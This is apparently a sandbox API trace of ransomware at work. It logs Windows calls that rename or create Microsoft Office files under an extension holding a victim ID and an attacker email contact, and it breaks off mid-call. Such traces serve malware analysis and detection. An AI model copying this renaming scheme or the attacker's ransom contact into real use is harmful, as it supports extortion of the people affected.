[0268.796] CloseHandle (hObject=0x1078) returned 1 [0268.798] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.798] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.798] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\REPORTS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\reports.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.799] CloseHandle (hObject=0x1078) returned 1 [0268.800] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.800] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RESEND.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\resend.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.800] CloseHandle (hObject=0x1078) returned 1 [0268.801] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.801] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RESENDL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\resendl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.801] CloseHandle (hObject=0x1078) returned 1 [0268.803] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.803] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RESENDS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\resends.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.804] CloseHandle (hObject=0x1078) returned 1 [0268.806] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.806] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RSSITEM.CFG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\rssitem.cfg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.806] CloseHandle (hObject=0x1078) returned 1 [0268.809] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.809] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RSSITEML.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\rssiteml.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.810] CloseHandle (hObject=0x1078) returned 1 [0268.811] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.811] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\RSSITEMS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\rssitems.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.812] CloseHandle (hObject=0x1078) returned 1 [0268.813] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.813] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDCNCLL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\scdcncll.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.814] CloseHandle (hObject=0x1078) returned 1 [0268.815] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.815] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDCNCLS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\scdcncls.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.816] CloseHandle (hObject=0x1078) returned 1 [0268.817] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.818] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDREQL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\scdreql.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.818] CloseHandle (hObject=0x1078) returned 1 [0268.820] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.820] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDREQS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\scdreqs.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.820] CloseHandle (hObject=0x1078) returned 1 [0268.822] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.822] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDRESNL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\scdresnl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.822] CloseHandle (hObject=0x1078) returned 1 [0268.824] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.824] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDRESNS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\scdresns.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.824] CloseHandle (hObject=0x1078) returned 1 [0268.825] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.825] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDRESPL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\scdrespl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.826] CloseHandle (hObject=0x1078) returned 1 [0268.827] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.827] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0268.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDRESPS.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\scdresps.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.827] CloseHandle (hObject=0x1078) returned 1 [0269.550] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0269.551] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0269.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\SCDRESTL.ICO.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\forms\\1033\\scdrestl.ico.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.551] CloseHandle (hObject=0x1278) returned 1 [0270.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\oart.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OART.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\oart.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.775] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OARTODF.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\oartodf.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OARTODF.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\oartodf.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.778] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ocogl.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocogl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ocogl.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocogl.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.779] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ocpptview.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocpptview.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ocpptview.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocpptview.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.780] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocpubmgr.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocpubmgr.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.782] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OIMG.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\oimg.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OIMG.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\oimg.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.786] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OLMAPI32.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\olmapi32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OLMAPI32.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\olmapi32.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.796] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0270.796] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0270.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\prnSendToOneNote.cat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote\\prnsendtoonenote.cat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.796] CloseHandle (hObject=0x1278) returned 1 [0270.797] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0270.797] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0270.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\prnSendToOneNote_win7.cat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote\\prnsendtoonenote_win7.cat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.797] CloseHandle (hObject=0x1278) returned 1 [0270.799] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0270.799] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0270.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\SendToOneNote.gpd.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote\\sendtoonenote.gpd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.799] CloseHandle (hObject=0x1278) returned 1 [0270.800] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0270.801] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0270.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\SendToOneNoteNames.gpd.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote\\sendtoonenotenames.gpd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.801] CloseHandle (hObject=0x1278) returned 1 [0270.802] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onenote.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.803] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONFILTER.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onfilter.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONFILTER.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onfilter.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onmain.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONMAIN.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onmain.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.805] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONRES.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONRES.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\onres.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0270.809] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgchart.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ORGCHART.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\orgchart.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0271.383] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OSF.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\osf.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OSF.DLL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\osf.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0271.688] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.689] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ENVELOPE.DPV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\envelope.dpv.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.689] CloseHandle (hObject=0x1078) returned 1 [0271.690] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.690] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\MSTHED98.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\msthed98.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.690] CloseHandle (hObject=0x1078) returned 1 [0271.692] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.692] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NAVBAR11.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\navbar11.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.692] CloseHandle (hObject=0x1078) returned 1 [0271.693] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.693] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NAVBARV.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\navbarv.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.693] CloseHandle (hObject=0x1078) returned 1 [0271.694] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.694] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NAVBRPH1.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\navbrph1.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.695] CloseHandle (hObject=0x1078) returned 1 [0271.695] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.695] SetFilePointerEx (in: hFile=0x1078, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0271.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\NAVBRPH2.POC.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\navbrph2.poc.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 